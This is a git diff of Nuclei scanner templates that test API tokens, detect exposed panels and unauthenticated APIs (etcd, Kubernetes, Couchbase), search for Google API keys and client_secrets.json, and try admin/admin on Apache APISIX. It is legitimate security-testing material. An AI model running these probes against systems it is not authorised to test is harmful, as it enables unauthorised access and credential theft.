info + tags: token-spray,taiga + +self-contained: true +requests: + - method: GET + path: + - "https://api.taiga.io/api/v1/application-tokens" + headers: + Authorization: Bearer {{token}} + + matchers: + - type: word + part: body + words: + - '"auth_code":' + - '"state":' + condition: and diff --git a/poc/api/api-thecatapi-502.yaml b/poc/api/api-thecatapi-502.yaml deleted file mode 100644 index 54740e47d8..0000000000 --- a/poc/api/api-thecatapi-502.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-thecatapi - -info: - name: TheCatApi API Test - author: daffainfo - severity: info - reference: - - https://docs.thecatapi.com/ - - https://github.com/daffainfo/all-about-apikey/blob/main/Animals/TheCatApi.md - tags: token-spray,thecatapi - -self-contained: true -requests: - - method: GET - path: - - "https://api.thecatapi.com/v1/votes" - headers: - x-api-key: "{{token}}" - - matchers: - - type: word - part: body - words: - - 'id":' - - 'image_id":' - - 'sub_id":' - condition: and diff --git a/poc/api/api-thecatapi-503.yaml b/poc/api/api-thecatapi-503.yaml index 5c689a18b9..0eb02cde29 100644 --- a/poc/api/api-thecatapi-503.yaml +++ b/poc/api/api-thecatapi-503.yaml @@ -8,25 +8,20 @@ info: reference: - https://docs.thecatapi.com/ - https://github.com/daffainfo/all-about-apikey/tree/main/thecatapi - metadata: - max-request: 1 tags: token-spray,thecatapi self-contained: true - -http: +requests: - method: GET path: - "https://api.thecatapi.com/v1/votes" - headers: x-api-key: "{{token}}" + matchers: - type: word part: body words: - '"country_code":' - '"created_at":' - condition: and - -# digest: 4b0a00483046022100e6d911ecb61631f9a18c965d18dfc50dc2c659696e07e35a066bea1998874a88022100a26e89623b58680d7e1e34cbc3b0d86c5e4a454222c75003848955186cfa288b:922c64590222798bb761d5b6d8e72950 + condition: and \ No newline at end of file diff --git a/poc/api/api-tink-504.yaml b/poc/api/api-tink-504.yaml deleted file mode 100644 index 7b16f84077..0000000000 --- a/poc/api/api-tink-504.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: api-tink - -info: - name: Tink API Test - author: dwisiswant0 - severity: info - reference: - - https://docs.tink.com/api - metadata: - max-request: 1 - tags: token-spray,tink - -self-contained: true - -http: - - method: GET - path: - - "https://api.tink.com/api/v1/user" - - headers: - Authorization: Bearer {{token}} - matchers: - - type: word - part: body - words: - - "appId" - - "externalUserId" - - "username" - condition: and - -# digest: 490a00463044022064bc122a937a39b63ea026801501211eec64ce7aa8adc30f055b2b4c87e69928022010d864dc724658ccf145c743989d9e1ea361b506b53e6d909eaeee6850ee8447:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-tink.yaml b/poc/api/api-tink.yaml new file mode 100644 index 0000000000..a7c5de8ccd --- /dev/null +++ b/poc/api/api-tink.yaml @@ -0,0 +1,25 @@ +id: api-tink + +info: + name: Tink API Test + author: dwisiswant0 + reference: https://docs.tink.com/api + severity: info + tags: token-spray,tink + +self-contained: true +requests: + - method: GET + path: + - "https://api.tink.com/api/v1/user" + headers: + Authorization: Bearer {{token}} + + matchers: + - type: word + part: body + words: + - "appId" + - "externalUserId" + - "username" + condition: and diff --git a/poc/api/api-tinypng-505.yaml b/poc/api/api-tinypng-505.yaml index 922e62848b..357fb1bdbf 100644 --- a/poc/api/api-tinypng-505.yaml +++ b/poc/api/api-tinypng-505.yaml @@ -7,6 +7,7 @@ info: severity: info tags: token-spray,tinypng +self-contained: true requests: - method: POST path: diff --git a/poc/api/api-tinypng.yaml b/poc/api/api-tinypng.yaml new file mode 100644 index 0000000000..922e62848b --- /dev/null +++ b/poc/api/api-tinypng.yaml @@ -0,0 +1,23 @@ +id: api-tinypng + +info: + name: TinyPNG API Test + author: zzeitlin + reference: https://tinypng.com/developers + severity: info + tags: token-spray,tinypng + +requests: + - method: POST + path: + - "https://api.tinify.com/shrink" + headers: + Authorization: Basic {{base64('api:' + token)}} + + matchers: + - type: word + part: header + words: + - 'Compression-Count' + - 'compression-count' + condition: or diff --git a/poc/api/api-travisci-506.yaml b/poc/api/api-travisci-506.yaml index 5212516fc1..63489fc886 100644 --- a/poc/api/api-travisci-506.yaml +++ b/poc/api/api-travisci-506.yaml @@ -3,10 +3,11 @@ id: api-travisci info: name: Travis CI API Test author: zzeitlin - reference: https://developer.travis-ci.com/ severity: info + reference: https://developer.travis-ci.com/ tags: token-spray,travis +self-contained: true requests: - method: GET path: diff --git a/poc/api/api-travisci.yaml b/poc/api/api-travisci.yaml new file mode 100644 index 0000000000..5212516fc1 --- /dev/null +++ b/poc/api/api-travisci.yaml @@ -0,0 +1,22 @@ +id: api-travisci + +info: + name: Travis CI API Test + author: zzeitlin + reference: https://developer.travis-ci.com/ + severity: info + tags: token-spray,travis + +requests: + - method: GET + path: + - "https://api.travis-ci.com/user" + headers: + Travis-API-Version: 3 + Authorization: token {{token}} + + matchers: + - type: status + status: + - 403 + negative: true diff --git a/poc/api/api-virustotal.yaml b/poc/api/api-virustotal-511.yaml similarity index 100% rename from poc/api/api-virustotal.yaml rename to poc/api/api-virustotal-511.yaml diff --git a/poc/api/api-virustotal-512.yaml b/poc/api/api-virustotal-512.yaml index f48595c162..0c039312df 100644 --- a/poc/api/api-virustotal-512.yaml +++ b/poc/api/api-virustotal-512.yaml @@ -7,10 +7,13 @@ info: reference: - https://developers.virustotal.com/reference - https://github.com/daffainfo/all-about-apikey/blob/main/Anti%20Malware/VirusTotal.md + metadata: + max-request: 1 tags: token-spray,virustotal self-contained: true -requests: + +http: - raw: - | POST https://www.virustotal.com/vtapi/v2/url/scan HTTP/1.1 @@ -24,7 +27,9 @@ requests: - type: word part: body words: - - "'verbose_msg':" - - "'scan_date':" - - "'permalink':" + - '"verbose_msg":' + - '"scan_date":' + - '"permalink":' condition: and + +# digest: 4a0a0047304502206f6e83dbc66717b54926126ec584b60835783cb586214f57b93eb61d080e5a42022100d5a22a1ab5a848eb279134bd608e7b8288641d7fd089fe753bffd6de99668f8f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-visualstudio-513.yaml b/poc/api/api-visualstudio-513.yaml index a3440fdb9a..a05d17e57a 100644 --- a/poc/api/api-visualstudio-513.yaml +++ b/poc/api/api-visualstudio-513.yaml @@ -3,11 +3,10 @@ id: api-visualstudio info: name: Visual Studio API Test author: zzeitlin - severity: info reference: https://openapi.appcenter.ms/ + severity: info tags: token-spray,visualstudio,microsoft -self-contained: true requests: - method: GET path: @@ -19,8 +18,6 @@ requests: matchers: - type: word part: body + negative: true words: - - '"id":' - - '"description":' - - '"owner":' - condition: and + - 'Unauthorized' diff --git a/poc/api/api-wakatime.yaml b/poc/api/api-wakatime.yaml deleted file mode 100644 index b48ed5e79f..0000000000 --- a/poc/api/api-wakatime.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: api-wakatime - -info: - name: WakaTime CI API Test - author: zzeitlin - reference: https://wakatime.com/developers - severity: info - tags: token-spray,wakatime - -requests: - - method: GET - path: - - "https://wakatime.com/api/v1/users/current/projects/?api_key={{token}}" - - matchers: - - type: status - status: - - 401 - negative: true diff --git a/poc/api/api-weglot-516.yaml b/poc/api/api-weglot-516.yaml index 37e6b647ef..9c1a8e2874 100644 --- a/poc/api/api-weglot-516.yaml +++ b/poc/api/api-weglot-516.yaml @@ -7,7 +7,6 @@ info: severity: info tags: token-spray,weglot -self-contained: true requests: - method: POST path: diff --git a/poc/api/api-wordcloud-517.yaml b/poc/api/api-wordcloud-517.yaml index 860ab73d73..3f274ce4b7 100644 --- a/poc/api/api-wordcloud-517.yaml +++ b/poc/api/api-wordcloud-517.yaml @@ -4,13 +4,17 @@ info: name: Word Cloud API Test author: daffainfo severity: info + description: Easily create word clouds reference: - https://wordcloudapi.com/getting-started - - https://github.com/daffainfo/all-about-apikey/blob/main/Art-Design/Word%20Cloud.md + - https://github.com/daffainfo/all-about-apikey/tree/main/word-cloud + metadata: + max-request: 1 tags: token-spray,wordcloud self-contained: true -requests: + +http: - raw: - | POST https://textvis-word-cloud-v1.p.rapidapi.com/v1/textToCloud HTTP/1.1 @@ -43,3 +47,5 @@ requests: negative: true words: - '{"message":"You are not subscribed to this API."}' + +# digest: 4a0a0047304502200bb686f7740c3aa0631d8eff8a8c27854fef6f4e1c638d8a3075d1fd01dd81cb022100abe7621b7beb6ed80118f7f668d8151b8e45ec1fd802602bf80c4786332259f6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-wordcloud-518.yaml b/poc/api/api-wordcloud-518.yaml index 3f274ce4b7..e466b32652 100644 --- a/poc/api/api-wordcloud-518.yaml +++ b/poc/api/api-wordcloud-518.yaml @@ -4,17 +4,13 @@ info: name: Word Cloud API Test author: daffainfo severity: info - description: Easily create word clouds reference: - https://wordcloudapi.com/getting-started - - https://github.com/daffainfo/all-about-apikey/tree/main/word-cloud - metadata: - max-request: 1 + - https://github.com/daffainfo/all-about-apikey/blob/main/Art%20Design/Word%20Cloud.md tags: token-spray,wordcloud self-contained: true - -http: +requests: - raw: - | POST https://textvis-word-cloud-v1.p.rapidapi.com/v1/textToCloud HTTP/1.1 @@ -47,5 +43,3 @@ http: negative: true words: - '{"message":"You are not subscribed to this API."}' - -# digest: 4a0a0047304502200bb686f7740c3aa0631d8eff8a8c27854fef6f4e1c638d8a3075d1fd01dd81cb022100abe7621b7beb6ed80118f7f668d8151b8e45ec1fd802602bf80c4786332259f6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-youtube-519.yaml b/poc/api/api-youtube-519.yaml deleted file mode 100644 index 832da305b5..0000000000 --- a/poc/api/api-youtube-519.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: api-youtube - -info: - name: YouTube API Test - author: zzeitlin - severity: info - reference: - - https://developers.google.com/youtube/v3/docs - metadata: - max-request: 1 - tags: token-spray,youtube - -self-contained: true - -http: - - method: GET - path: - - "https://www.googleapis.com/youtube/v3/activities?part=contentDetails&maxResults=25&channelId=UC-lHJZR3Gqxm24_Vd_AJ5Yw&key={{token}}" - - matchers: - - type: word - part: body - words: - - '"kind":' - - '"pageInfo":' - condition: and - -# digest: 4a0a004730450220736a86ef95feb0ef762e9857642ccf941afac2f9ea6920782f88724f5516128a02210099195000f3743f6b553cc99c71c70456c8160e1ff2acdd21fc5d54104a1df927:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-youtube.yaml b/poc/api/api-youtube.yaml new file mode 100644 index 0000000000..be1531a453 --- /dev/null +++ b/poc/api/api-youtube.yaml @@ -0,0 +1,22 @@ +id: api-youtube + +info: + name: YouTube API Test + author: zzeitlin + reference: https://developers.google.com/youtube/v3/docs + severity: info + tags: token-spray,youtube + +self-contained: true +requests: + - method: GET + path: + - "https://www.googleapis.com/youtube/v3/activities?part=contentDetails&maxResults=25&channelId=UC-lHJZR3Gqxm24_Vd_AJ5Yw&key={{token}}" + + matchers: + - type: word + part: body + words: + - '"kind":' + - '"pageInfo":' + condition: and \ No newline at end of file diff --git a/poc/api/apiman-panel-462.yaml b/poc/api/apiman-panel-462.yaml new file mode 100644 index 0000000000..24bbf1f89b --- /dev/null +++ b/poc/api/apiman-panel-462.yaml @@ -0,0 +1,30 @@ +id: apiman-panel + +info: + name: Apiman Login Panel + author: righettod + severity: info + description: An Apiman instance was detected via the login redirection. + reference: + - https://www.apiman.io/latest/ + classification: + cwe-id: CWE-200 + tags: panel,apiman + +requests: + - method: GET + path: + - "{{BaseURL}}/apimanui/api-manager" + + matchers-condition: and + matchers: + - type: word + words: + - "/auth/realms/apiman" + part: header + + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/18 diff --git a/poc/api/apiman-panel-463.yaml b/poc/api/apiman-panel-463.yaml deleted file mode 100644 index eb3fa9f385..0000000000 --- a/poc/api/apiman-panel-463.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: apiman-panel - -info: - name: Apiman Instance Detection Template - author: righettod - severity: info - description: Try to detect the presence of a Apiman instance via the login redirection - tags: panel,apiman - -requests: - - method: GET - path: - - "{{BaseURL}}/apimanui/api-manager" - - matchers-condition: and - matchers: - - type: word - words: - - "/auth/realms/apiman" - part: header - - - type: status - status: - - 302 \ No newline at end of file diff --git a/poc/api/apiman-panel-464.yaml b/poc/api/apiman-panel-464.yaml index 24bbf1f89b..eb3fa9f385 100644 --- a/poc/api/apiman-panel-464.yaml +++ b/poc/api/apiman-panel-464.yaml @@ -1,14 +1,10 @@ id: apiman-panel info: - name: Apiman Login Panel + name: Apiman Instance Detection Template author: righettod severity: info - description: An Apiman instance was detected via the login redirection. - reference: - - https://www.apiman.io/latest/ - classification: - cwe-id: CWE-200 + description: Try to detect the presence of a Apiman instance via the login redirection tags: panel,apiman requests: @@ -25,6 +21,4 @@ requests: - type: status status: - - 302 - -# Enhanced by mp on 2022/03/18 + - 302 \ No newline at end of file diff --git a/poc/api/apisix-default-login-490.yaml b/poc/api/apisix-default-login-490.yaml index cb4e83e6df..d89104b847 100644 --- a/poc/api/apisix-default-login-490.yaml +++ b/poc/api/apisix-default-login-490.yaml @@ -5,16 +5,16 @@ info: author: pdteam severity: high description: An Apache Apisix default admin login was discovered. - metadata: - shodan-query: title:"Apache APISIX Dashboard" - fofa-query: title="Apache APISIX Dashboard" - product: https://apisix.apache.org reference: - https://apisix.apache.org/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + shodan-query: title:"Apache APISIX Dashboard" + fofa-query: title="Apache APISIX Dashboard" + product: https://apisix.apache.org tags: apisix,apache,default-login requests: diff --git a/poc/api/apisix-default-login-492.yaml b/poc/api/apisix-default-login-492.yaml index d89104b847..c16b0c60b1 100644 --- a/poc/api/apisix-default-login-492.yaml +++ b/poc/api/apisix-default-login-492.yaml @@ -1,22 +1,13 @@ id: apisix-default-login - info: - name: Apache Apisix Default Admin Login + name: Apache Apisix Default Login author: pdteam - severity: high - description: An Apache Apisix default admin login was discovered. - reference: - - https://apisix.apache.org/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + severity: critical + tags: apisix,apache,default-login metadata: shodan-query: title:"Apache APISIX Dashboard" fofa-query: title="Apache APISIX Dashboard" product: https://apisix.apache.org - tags: apisix,apache,default-login - requests: - raw: - | @@ -27,25 +18,20 @@ requests: Content-Type: application/json;charset=UTF-8 {"username":"{{user}}","password":"{{pass}}"} - attack: pitchfork payloads: user: - admin pass: - admin - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - '"data"' - '"token"' - '"code":0' condition: and - -# Enhanced by mp on 2022/03/22 diff --git a/poc/api/burp-api-detect-810.yaml b/poc/api/burp-api-detect-810.yaml index d1c703aa98..e09396dbd2 100644 --- a/poc/api/burp-api-detect-810.yaml +++ b/poc/api/burp-api-detect-810.yaml @@ -6,9 +6,11 @@ info: severity: info reference: - https://portswigger.net/burp/documentation/enterprise/api-reference + metadata: + max-request: 1 tags: burp,tech -requests: +http: - method: GET path: - "{{BaseURL}}/v0.1/" @@ -19,10 +21,14 @@ requests: words: - 'Burp API' part: body + - type: word words: - 'X-Burp-Version' part: header + - type: status status: - 200 + +# digest: 4a0a00473045022052b868b75ef5acca38021fc922afd6de009fc394c0ff24b726bc9c1a6938ce18022100e2e714ce631619d950c6e0c2fa132fbefcea5bf44ba1084d4aae98548f93dd7f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/burp-api-detect.yaml b/poc/api/burp-api-detect-812.yaml similarity index 100% rename from poc/api/burp-api-detect.yaml rename to poc/api/burp-api-detect-812.yaml diff --git a/poc/api/couchbase-buckets-api-1233.yaml b/poc/api/couchbase-buckets-api-1233.yaml deleted file mode 100644 index 8f15853ecd..0000000000 --- a/poc/api/couchbase-buckets-api-1233.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: couchbase-buckets-api - -info: - name: Couchbase Buckets Unauthenticated REST API - Detect - author: geeknik - severity: medium - description: Couchbase Buckets REST API without authentication was detected. - reference: - - https://docs.couchbase.com/server/current/rest-api/rest-bucket-intro.html - - https://www.elastic.co/guide/en/beats/metricbeat/current/metricbeat-metricset-couchbase-bucket.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: exposure,couchbase - -http: - - method: GET - path: - - "{{BaseURL}}/pools/default/buckets" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '"couchbase":' - - '"bucket":' - - '"data":' - condition: and - - - type: word - part: header - words: - - 'application/json' - -# digest: 4a0a00473045022100e55dbcbb79adce61041fd1cac9a564f188b7e62a6d0f7c290482da1fb502bd7b022063a58d316d535472c2601e23b2f4b717d6899e978ee9c58c92603914303b2739:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/couchbase-buckets-api-1232.yaml b/poc/api/couchbase-buckets-api.yaml similarity index 100% rename from poc/api/couchbase-buckets-api-1232.yaml rename to poc/api/couchbase-buckets-api.yaml diff --git a/poc/api/drupal-jsonapi-user-listing.yaml b/poc/api/drupal-jsonapi-user-listing.yaml new file mode 100644 index 0000000000..309c6b3ac0 --- /dev/null +++ b/poc/api/drupal-jsonapi-user-listing.yaml @@ -0,0 +1,40 @@ +id: drupal-jsonapi-user-listing + +info: + name: Drupal JSON:API Username Listing - Detect + author: lixts + severity: medium + description: Drupal JSON:API username listing was detected via the /user/user endpoint. + reference: + - https://www.drupal.org/project/drupal/issues/3240913 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cwe-id: CWE-200 + metadata: + verified: true + max-request: 1 + shodan-query: http.component:"drupal" + tags: drupal,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/jsonapi/user/user" + + matchers-condition: and + matchers: + - type: regex + regex: + - '\{"display_name":"([A-Sa-z0-9-_]+)"\}' + + - type: status + status: + - 200 + + extractors: + - type: json + json: + - '.data[].attributes.display_name' + +# digest: 4a0a0047304502202a3faa8458891661b4df79d36c41ed4e1ebf307488e8e6dea3397ac0865cea29022100f9b95fd691e9b275a29f838e75d5131c3808cc86c4ca6a5ae2e4efb0d6bdfe49:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/etcd-unauthenticated-api.yaml b/poc/api/etcd-unauthenticated-api.yaml index bec8776583..b41d5c896c 100644 --- a/poc/api/etcd-unauthenticated-api.yaml +++ b/poc/api/etcd-unauthenticated-api.yaml @@ -4,27 +4,37 @@ info: name: etcd Unauthenticated HTTP API Leak author: dhiyaneshDk severity: high - reference: https://hackerone.com/reports/1088429 - tags: unauth + reference: + - https://hackerone.com/reports/1088429 + metadata: + max-request: 1 + tags: misconfig,hackerone,unauth,etcd -requests: +http: - method: GET path: - "{{BaseURL}}/v2/auth/roles" + matchers-condition: and matchers: - type: word + part: body words: - '"roles"' - '"permissions"' - '"role"' - '"kv"' condition: and - part: body - - type: status - status: - - 200 + - type: word part: header words: - "text/plain" + - "application/json" + condition: or + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100897d3dde5e9a2dfd0ab7d17ab781c555d44ad28bc754236ec6bf33a7ec4c0d7c022100f5ba5418fa82fa65ff1d95bedc9dffea5b1861016c575cc71e7898fbd6c8a3ea:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/exposed-glances-api-7307.yaml b/poc/api/exposed-glances-api-7307.yaml index da9cf56b82..8c2bcf81af 100644 --- a/poc/api/exposed-glances-api-7307.yaml +++ b/poc/api/exposed-glances-api-7307.yaml @@ -4,18 +4,20 @@ info: author: princechaddha severity: low description: Glances is a cross-platform system monitoring tool written in Python. - reference: - - https://nicolargo.github.io/glances/ + reference: https://nicolargo.github.io/glances/ tags: glances,exposure + requests: - method: GET path: - "{{BaseURL}}" + matchers-condition: and matchers: - type: status status: - 200 + - type: word words: - 'title">Glances' diff --git a/poc/api/exposed-glances-api-7308.yaml b/poc/api/exposed-glances-api-7308.yaml index e00fe91045..6a0143917d 100644 --- a/poc/api/exposed-glances-api-7308.yaml +++ b/poc/api/exposed-glances-api-7308.yaml @@ -7,9 +7,11 @@ info: description: Glances is a cross-platform system monitoring tool written in Python. reference: - https://nicolargo.github.io/glances/ + metadata: + max-request: 1 tags: glances,exposure -requests: +http: - method: GET path: - "{{BaseURL}}" @@ -27,3 +29,5 @@ requests: - '' part: body condition: and + +# digest: 4b0a00483046022100d13be39728fd0c4c8a147c1430c9a127c288ccc48fefc67e83523e78ee797afd022100b10917642fee00da807bb70df005744d3a9c28fc1984c5e29d530ac22d8f249c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/exposed-glances-api-7309.yaml b/poc/api/exposed-glances-api-7309.yaml deleted file mode 100644 index 8c2bcf81af..0000000000 --- a/poc/api/exposed-glances-api-7309.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: exposed-glances-api -info: - name: Exposed Glances API - author: princechaddha - severity: low - description: Glances is a cross-platform system monitoring tool written in Python. - reference: https://nicolargo.github.io/glances/ - tags: glances,exposure - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'title">Glances' - - 'glances.config' - - '' - part: body - condition: and diff --git a/poc/api/fastapi-docs-7399.yaml b/poc/api/fastapi-docs-7399.yaml new file mode 100644 index 0000000000..794df02ac0 --- /dev/null +++ b/poc/api/fastapi-docs-7399.yaml @@ -0,0 +1,22 @@ +id: fastapi-docs + +info: + name: FastAPI Docs + author: github.com/its0x08 + severity: info + tags: fastapi,tech,panel + +requests: + - method: GET + path: + - "{{BaseURL}}/docs" + - "{{BaseURL}}/redoc" + - "{{BaseURL}}/openapi.json" + + matchers: + - type: word + words: + - "FastAPI - Swagger UI" + - "FastAPI - ReDoc" + - '{"title":"FastAPI"' + condition: or diff --git a/poc/api/fastapi-docs.yaml b/poc/api/fastapi-docs.yaml index 794df02ac0..34695c9e3a 100644 --- a/poc/api/fastapi-docs.yaml +++ b/poc/api/fastapi-docs.yaml @@ -1,22 +1,31 @@ -id: fastapi-docs - -info: - name: FastAPI Docs - author: github.com/its0x08 - severity: info - tags: fastapi,tech,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/docs" - - "{{BaseURL}}/redoc" - - "{{BaseURL}}/openapi.json" - - matchers: - - type: word - words: - - "FastAPI - Swagger UI" - - "FastAPI - ReDoc" - - '{"title":"FastAPI"' - condition: or +id: fastapi-docs + +info: + name: FastAPI Docs Panel - Detect + author: github.com/its0x08 + severity: info + description: FastAPI Docs panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 3 + tags: fastapi,tech,panel + +http: + - method: GET + path: + - "{{BaseURL}}/docs" + - "{{BaseURL}}/redoc" + - "{{BaseURL}}/openapi.json" + + matchers: + - type: word + words: + - "FastAPI - Swagger UI" + - "FastAPI - ReDoc" + - '{"title":"FastAPI"' + condition: or + +# digest: 4a0a00473045022055d1a9b3183514d1d090f0aa621d4b9615ba59a3920b7561934619e63f60635f022100c7f0725485e8317716755cbb9f512a33cc50dfad615a301babc56549d2a6a8a2:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/gmail-api-client-secrets-7741.yaml b/poc/api/gmail-api-client-secrets-7741.yaml new file mode 100644 index 0000000000..72f7d06ecc --- /dev/null +++ b/poc/api/gmail-api-client-secrets-7741.yaml @@ -0,0 +1,40 @@ +id: gmail-api-client-secrets + +info: + name: GMail API - Detect + author: geeknik + severity: info + description: GMail API was detected. + reference: https://developers.google.com/gmail/api/auth/web-server + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: config,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/client_secrets.json" + + matchers-condition: and + matchers: + - type: word + words: + - "client_id" + - "auth_uri" + - "token_uri" + condition: and + + - type: status + status: + - 200 + + - type: word + part: header + words: + - "application/json" + +# digest: 4a0a00473045022100e423f2d50edff69e6eb1b5bc47e8f482b97de447024a3623818e28a08199321a02207f96b638e3b21026d86306511d783491c0cc00d9484b54499fe7cfea40baead3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/google-api(1).yaml b/poc/api/google-api(1).yaml deleted file mode 100644 index 1242ce0367..0000000000 --- a/poc/api/google-api(1).yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: google-api-key-file - -info: - name: Google API key - author: gaurang - severity: info - tags: token,file,google - -file: - - extensions: - - all - - extractors: - - type: regex - regex: - - "AIza[0-9A-Za-z\\-_]{35}" diff --git a/poc/api/google-api-7772.yaml b/poc/api/google-api-7772.yaml new file mode 100644 index 0000000000..b5b0737aa7 --- /dev/null +++ b/poc/api/google-api-7772.yaml @@ -0,0 +1,13 @@ +id: google-api-key-file +info: + name: Google API key + author: gaurang + severity: info + tags: token,file,google +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "AIza[0-9A-Za-z\\-_]{35}" diff --git a/poc/api/google-api-key-7769.yaml b/poc/api/google-api-key-7769.yaml new file mode 100644 index 0000000000..87d61eaa24 --- /dev/null +++ b/poc/api/google-api-key-7769.yaml @@ -0,0 +1,23 @@ +id: google-api-key + +info: + name: Google API Key + author: Swissky + severity: info + metadata: + max-request: 2 + tags: exposure,token,google + +http: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/hopfully404" + + extractors: + - type: regex + part: body + regex: + - "AIza[0-9A-Za-z\\-_]{35}" + +# digest: 4a0a004730450221008529a1cf21d244ce3327f73d3d68a4e1afc76d0dab02130fa43f449db87fb51802200b6b4d64369e56d8ebba8796e30b0cee88ca1318014c35dee345905fffdb4a3c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/graylog-api-browser-7846.yaml b/poc/api/graylog-api-browser-7846.yaml new file mode 100644 index 0000000000..6c93a114fa --- /dev/null +++ b/poc/api/graylog-api-browser-7846.yaml @@ -0,0 +1,23 @@ +id: graylog-api-browser + +info: + name: Detect Graylog REST API + author: PR3R00T + severity: info + +requests: + - method: GET + path: + - "{{BaseURL}}/api/api-browser/" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Graylog" + - "REST API browser" + - "swagger" + condition: and + - type: status + status: + - 200 diff --git a/poc/api/graylog-api-browser.yaml b/poc/api/graylog-api-browser.yaml index 6c93a114fa..6f78c1d3a8 100644 --- a/poc/api/graylog-api-browser.yaml +++ b/poc/api/graylog-api-browser.yaml @@ -1,10 +1,9 @@ id: graylog-api-browser - info: name: Detect Graylog REST API author: PR3R00T severity: info - + tags: tech,graylog requests: - method: GET path: diff --git a/poc/api/http-etcd-unauthenticated-api-data-leak-8056.yaml b/poc/api/http-etcd-unauthenticated-api-data-leak-8056.yaml index 1c523c0a06..bec8776583 100644 --- a/poc/api/http-etcd-unauthenticated-api-data-leak-8056.yaml +++ b/poc/api/http-etcd-unauthenticated-api-data-leak-8056.yaml @@ -1,10 +1,12 @@ id: http-etcd-unauthenticated-api-data-leak + info: name: etcd Unauthenticated HTTP API Leak author: dhiyaneshDk severity: high reference: https://hackerone.com/reports/1088429 tags: unauth + requests: - method: GET path: diff --git a/poc/api/kube-api-namespaces-8505.yaml b/poc/api/kube-api-namespaces-8505.yaml index 934bb7bcb6..083c018d9d 100644 --- a/poc/api/kube-api-namespaces-8505.yaml +++ b/poc/api/kube-api-namespaces-8505.yaml @@ -1,15 +1,12 @@ id: kube-api-namespaces - info: name: Kube API Namespaces author: sharath severity: info description: Scans for kube namespaces - metadata: - max-request: 1 tags: tech,k8s,kubernetes,devops,kube -http: +requests: - method: GET path: - "{{BaseURL}}/api/v1/namespaces" @@ -25,6 +22,4 @@ http: words: - '"NamespaceList":' - '"items":' - condition: and - -# digest: 4a0a00473045022063f688f881894ac393b696d0737d2878f4de4af5f596910eb3b8bf17686f8a97022100af751c175b370dd577b22c6fa201f6a8ceaf6bf88707ee2686612b42b45ae3ae:922c64590222798bb761d5b6d8e72950 + condition: and \ No newline at end of file diff --git a/poc/api/kube-api-namespaces-8506.yaml b/poc/api/kube-api-namespaces.yaml similarity index 100% rename from poc/api/kube-api-namespaces-8506.yaml rename to poc/api/kube-api-namespaces.yaml diff --git a/poc/api/kube-api-pods-8510.yaml b/poc/api/kube-api-pods-8510.yaml deleted file mode 100644 index e1be02a1bf..0000000000 --- a/poc/api/kube-api-pods-8510.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: kube-api-pods - -info: - name: Kube API Pods - author: sharath - severity: info - description: Scans for kube pods - metadata: - max-request: 1 - tags: tech,k8s,kubernetes,devops,kube - -http: - - method: GET - path: - - "{{BaseURL}}/api/v1/namespaces/default/pods" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - '"PodList":' - - '"items":' - condition: and - -# digest: 4a0a0047304502205bfc02676e46438499be94f38048c1df6a1801cf0c04c5b2cd030c4477895d30022100cd6f350f79eb0c019059440788197302b35ec5946fcfb9a4462cd2c9d60efe1e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/kube-api-pods.yaml b/poc/api/kube-api-pods.yaml new file mode 100644 index 0000000000..c9cfbdb979 --- /dev/null +++ b/poc/api/kube-api-pods.yaml @@ -0,0 +1,26 @@ +id: kube-api-pods + +info: + name: Kube API Pods + author: sharath + severity: info + description: Scans for kube pods + tags: tech,k8s,kubernetes,devops,kube + +requests: + - method: GET + path: + - "{{BaseURL}}/api/v1/namespaces/default/pods" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - '"PodList":' 